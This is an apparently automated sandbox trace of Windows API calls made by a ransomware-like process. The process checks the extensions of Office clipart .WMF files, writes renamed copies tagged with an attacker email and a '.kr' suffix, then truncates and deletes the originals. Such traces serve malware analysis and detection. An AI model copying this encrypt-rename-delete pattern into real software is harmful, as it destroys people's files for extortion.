(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0196.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0196.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0196.855] lstrlenW (lpString=".doc") returned 4 [0196.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.855] lstrlenW (lpString=".docx") returned 5 [0196.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.855] lstrlenW (lpString=".pdf") returned 4 [0196.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.855] lstrlenW (lpString=".xls") returned 4 [0196.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.856] lstrlenW (lpString=".xlsx") returned 5 [0196.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.856] lstrlenW (lpString=".ppt") returned 4 [0196.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0196.856] lstrlenW (lpString=".zip") returned 4 [0196.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.856] lstrlenW (lpString=".rar") returned 4 [0196.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.856] lstrlenW (lpString=".bz2") returned 4 [0196.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.856] lstrlenW (lpString=".7z") returned 3 [0196.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0196.856] lstrlenW (lpString=".dbf") returned 4 [0196.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0196.856] lstrlenW (lpString=".1cd") returned 4 [0196.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0196.856] lstrlenW (lpString=".jpg") returned 4 [0196.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0196.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0196.856] lstrlenW (lpString=".doc") returned 4 [0196.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.856] lstrlenW (lpString=".docx") returned 5 [0196.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.856] lstrlenW (lpString=".pdf") returned 4 [0196.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.857] lstrlenW (lpString=".xls") returned 4 [0196.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.857] lstrlenW (lpString=".xlsx") returned 5 [0196.857] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.857] lstrlenW (lpString=".ppt") returned 4 [0196.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0196.857] lstrlenW (lpString=".zip") returned 4 [0196.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.857] lstrlenW (lpString=".rar") returned 4 [0196.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.857] lstrlenW (lpString=".bz2") returned 4 [0196.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.857] lstrlenW (lpString=".7z") returned 3 [0196.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0196.857] lstrlenW (lpString=".dbf") returned 4 [0196.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0196.857] lstrlenW (lpString=".1cd") returned 4 [0196.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0196.857] lstrlenW (lpString=".jpg") returned 4 [0196.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.857] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.857] lstrlenW (lpString="HH01461_.WMF") returned 12 [0196.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0196.858] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=5958) returned 1 [0196.858] CloseHandle (hObject=0x3f8) returned 1 [0196.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220 [0196.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0196.859] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.859] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0196.860] GetLastError () returned 0x0 [0196.860] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1746, lpOverlapped=0x0) returned 1 [0196.862] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1750, lpOverlapped=0x0) returned 1 [0196.863] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0196.863] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0196.863] SetEndOfFile (hFile=0x4d4) returned 1 [0196.863] CloseHandle (hObject=0x4d4) returned 1 [0196.864] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.864] SetEndOfFile (hFile=0x3f8) returned 1 [0196.866] CloseHandle (hObject=0x3f8) returned 1 [0196.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0196.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0196.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0196.868] lstrlenW (lpString=".doc") returned 4 [0196.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.868] lstrlenW (lpString=".docx") returned 5 [0196.868] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.868] lstrlenW (lpString=".pdf") returned 4 [0196.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.868] lstrlenW (lpString=".xls") returned 4 [0196.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.868] lstrlenW (lpString=".xlsx") returned 5 [0196.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.868] lstrlenW (lpString=".ppt") returned 4 [0196.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0196.868] lstrlenW (lpString=".zip") returned 4 [0196.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.868] lstrlenW (lpString=".rar") returned 4 [0196.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.868] lstrlenW (lpString=".bz2") returned 4 [0196.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.868] lstrlenW (lpString=".7z") returned 3 [0196.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0196.868] lstrlenW (lpString=".dbf") returned 4 [0196.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0196.868] lstrlenW (lpString=".1cd") returned 4 [0196.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0196.869] lstrlenW (lpString=".jpg") returned 4 [0196.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0196.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0196.869] lstrlenW (lpString=".doc") returned 4 [0196.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.869] lstrlenW (lpString=".docx") returned 5 [0196.869] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.869] lstrlenW (lpString=".pdf") returned 4 [0196.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.869] lstrlenW (lpString=".xls") returned 4 [0196.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.869] lstrlenW (lpString=".xlsx") returned 5 [0196.869] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.869] lstrlenW (lpString=".ppt") returned 4 [0196.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0196.869] lstrlenW (lpString=".zip") returned 4 [0196.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.869] lstrlenW (lpString=".rar") returned 4 [0196.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.869] lstrlenW (lpString=".bz2") returned 4 [0196.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.869] lstrlenW (lpString=".7z") returned 3 [0196.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0196.869] lstrlenW (lpString=".dbf") returned 4 [0196.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0196.869] lstrlenW (lpString=".1cd") returned 4 [0196.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0196.870] lstrlenW (lpString=".jpg") returned 4 [0196.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.870] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.870] lstrlenW (lpString="HH01618_.WMF") returned 12 [0196.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0196.870] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=7296) returned 1 [0196.870] CloseHandle (hObject=0x3f8) returned 1 [0196.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220 [0196.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0196.871] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.871] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0196.872] GetLastError () returned 0x0 [0196.872] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1c80, lpOverlapped=0x0) returned 1 [0196.874] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1c90, lpOverlapped=0x0) returned 1 [0196.875] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0196.875] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0196.875] SetEndOfFile (hFile=0x4d4) returned 1 [0196.875] CloseHandle (hObject=0x4d4) returned 1 [0196.875] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.875] SetEndOfFile (hFile=0x3f8) returned 1 [0196.878] CloseHandle (hObject=0x3f8) returned 1 [0196.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0196.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0196.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0196.879] lstrlenW (lpString=".doc") returned 4 [0196.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.879] lstrlenW (lpString=".docx") returned 5 [0196.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.879] lstrlenW (lpString=".pdf") returned 4 [0196.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.879] lstrlenW (lpString=".xls") returned 4 [0196.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.880] lstrlenW (lpString=".xlsx") returned 5 [0196.880] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.880] lstrlenW (lpString=".ppt") returned 4 [0196.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0196.880] lstrlenW (lpString=".zip") returned 4 [0196.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.880] lstrlenW (lpString=".rar") returned 4 [0196.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.880] lstrlenW (lpString=".bz2") returned 4 [0196.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.880] lstrlenW (lpString=".7z") returned 3 [0196.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0196.880] lstrlenW (lpString=".dbf") returned 4 [0196.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0196.880] lstrlenW (lpString=".1cd") returned 4 [0196.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0196.880] lstrlenW (lpString=".jpg") returned 4 [0196.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0196.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0196.880] lstrlenW (lpString=".doc") returned 4 [0196.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.880] lstrlenW (lpString=".docx") returned 5 [0196.880] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.881] lstrlenW (lpString=".pdf") returned 4 [0196.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.881] lstrlenW (lpString=".xls") returned 4 [0196.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.881] lstrlenW (lpString=".xlsx") returned 5 [0196.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.881] lstrlenW (lpString=".ppt") returned 4 [0196.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0196.881] lstrlenW (lpString=".zip") returned 4 [0196.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.881] lstrlenW (lpString=".rar") returned 4 [0196.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.881] lstrlenW (lpString=".bz2") returned 4 [0196.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.881] lstrlenW (lpString=".7z") returned 3 [0196.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0196.881] lstrlenW (lpString=".dbf") returned 4 [0196.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0196.881] lstrlenW (lpString=".1cd") returned 4 [0196.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0196.881] lstrlenW (lpString=".jpg") returned 4 [0196.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.881] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.882] lstrlenW (lpString="HH01759_.WMF") returned 12 [0196.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.225] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=5414) returned 1 [0197.225] CloseHandle (hObject=0x3f8) returned 1 [0197.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220 [0197.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.226] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.226] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0197.228] GetLastError () returned 0x0 [0197.228] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1526, lpOverlapped=0x0) returned 1 [0197.230] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1530, lpOverlapped=0x0) returned 1 [0197.231] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0197.231] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0197.231] SetEndOfFile (hFile=0x4d4) returned 1 [0197.232] CloseHandle (hObject=0x4d4) returned 1 [0197.232] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.232] SetEndOfFile (hFile=0x3f8) returned 1 [0197.234] CloseHandle (hObject=0x3f8) returned 1 [0197.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0197.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0197.235] 